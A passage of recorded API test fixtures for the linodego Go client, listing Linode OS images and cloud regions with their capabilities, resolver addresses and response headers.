"tags": [], "is_public": true, "vendor": "Fedora", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, {"id": "linode/gentoo", "label": "Gentoo", "deprecated": false, "size": 6500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Gentoo", "expiry": null, "eol": null, "status": "available", "capabilities": []}, {"id": "linode/kali", "label": "Kali Linux", "deprecated": false, "size": 1536, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Kali", "expiry": null, "eol": null, "status": "available", "capabilities": []}, {"id": "linode/debian12-kube-v1.27.9", "label": "Kubernetes 1.27.9 on Debian 12", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian12-kube-v1.28.3", "label": "Kubernetes 1.28.3 on Debian 12", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian12-kube-v1.29.2", "label": "Kubernetes 1.29.2 on Debian 12", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian12-kube-v1.30.1", "label": "Kubernetes 1.30.1 on Debian 12", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/opensuse15.5", "label": "openSUSE Leap 15.5", "deprecated": false, "size": 1550, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "openSUSE", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/opensuse15.6", "label": "openSUSE Leap 15.6", "deprecated": false, "size": 1200, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "openSUSE", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/rocky8", "label": "Rocky Linux 8", "deprecated": false, "size": 2800, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Rocky", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/rocky9", "label": "Rocky Linux 9", "deprecated": false, "size": 2300, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Rocky", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/slackware15.0", "label": "Slackware 15.0", "deprecated": false, "size": 11000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Slackware", "expiry": null, "eol": null, "status": "available", "capabilities": []}, {"id": "linode/ubuntu20.04", "label": "Ubuntu 20.04 LTS", "deprecated": false, "size": 2000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, {"id": "linode/ubuntu22.04", "label": "Ubuntu 22.04 LTS", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, {"id": "linode/ubuntu23.10", "label": "Ubuntu 23.10", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, {"id": "linode/ubuntu24.04", "label": "Ubuntu 24.04 LTS", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, {"id": "linode/alpine3.16", "label": "Alpine 3.16", "deprecated": true, "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/centos7", "label": "CentOS 7", "deprecated": true, "size": 2800, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "CentOS", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/centos-stream8", "label": "CentOS Stream 8", "deprecated": true, "size": 2600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "CentOS", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian10", "label": "Debian 10", "deprecated": true, "size": 1500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian9", "label": "Debian 9", "deprecated": true, "size": 1600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/fedora38", "label": "Fedora 38", "deprecated": true, "size": 1600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Fedora", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/ubuntu16.04lts", "label": "Ubuntu 16.04 LTS", "deprecated": true, "size": 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/ubuntu18.04", "label": "Ubuntu 18.04 LTS", "deprecated": true, "size": 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}], "results": 37, "page": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "20" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestInstanceBackups_List.yaml000066400000000000000000003254271474652371000323750ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-den-edge-1", "label": "Edge - Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-edge-1", "label": "Edge - Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-edge-1", "label": "Edge - Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-edge-1", "label": "Edge - Johannesburg, ZA\t", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "my-kul-edge-1", "label": "Edge - Kuala Lumpur, MY", "country": "my", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-edge-1", "label": "Edge - Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-edge-1", "label": "Edge - Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-edge-1", "label": "Edge - Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-edge-1", "label": "Edge - Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", 